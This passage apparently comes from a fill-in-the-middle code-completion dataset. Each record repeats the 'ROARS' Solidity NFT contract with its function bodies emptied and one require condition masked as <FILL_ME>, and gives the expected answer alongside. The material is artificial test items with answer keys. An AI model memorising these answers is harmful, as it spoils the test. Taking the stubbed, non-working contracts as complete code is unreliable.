function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| _isApprovedOrOwner(_owner,msg.sender,tokenId_),"_burn not approved" | 232,608 | _isApprovedOrOwner(_owner,msg.sender,tokenId_) |
"operator is not on the list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
address _owner = ownerOf(tokenId_);
require(<FILL_ME>)
require(msg.sender == _owner || isApprovedForAll[_owner][msg.sender], "approve not authorized!");
getApproved[tokenId_] = spender_;
emit Approval(_owner, spender_, tokenId_);
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| operatorList[spender_],"operator is not on the list" | 232,608 | operatorList[spender_] |
"operator is not on the list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
require(<FILL_ME>)
isApprovedForAll[msg.sender][operator_] = approved_;
emit ApprovalForAll(msg.sender, operator_, approved_);
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| operatorList[operator_],"operator is not on the list" | 232,608 | operatorList[operator_] |
"Not Owner of token" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
require(saleState == 1, "Sale not active");
uint256 l = tokenIds_.length;
uint256 i; unchecked { do {
require(<FILL_ME>)
require(claim[tokenIds_[i]] == 0, "claimed");
claim[tokenIds_[i]]++;
} while (++i < l); }
require(l * 3 >= amount_, "Exceed max claim per NFT");
require(amount_ + totalSupply() <= maxToken, "No more NFTs");
require(msg.value == phase1Price * amount_, "Value sent is not correct");
_mint(msg.sender, amount_);
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| NTP.ownerOf(tokenIds_[i])==msg.sender,"Not Owner of token" | 232,608 | NTP.ownerOf(tokenIds_[i])==msg.sender |
"claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
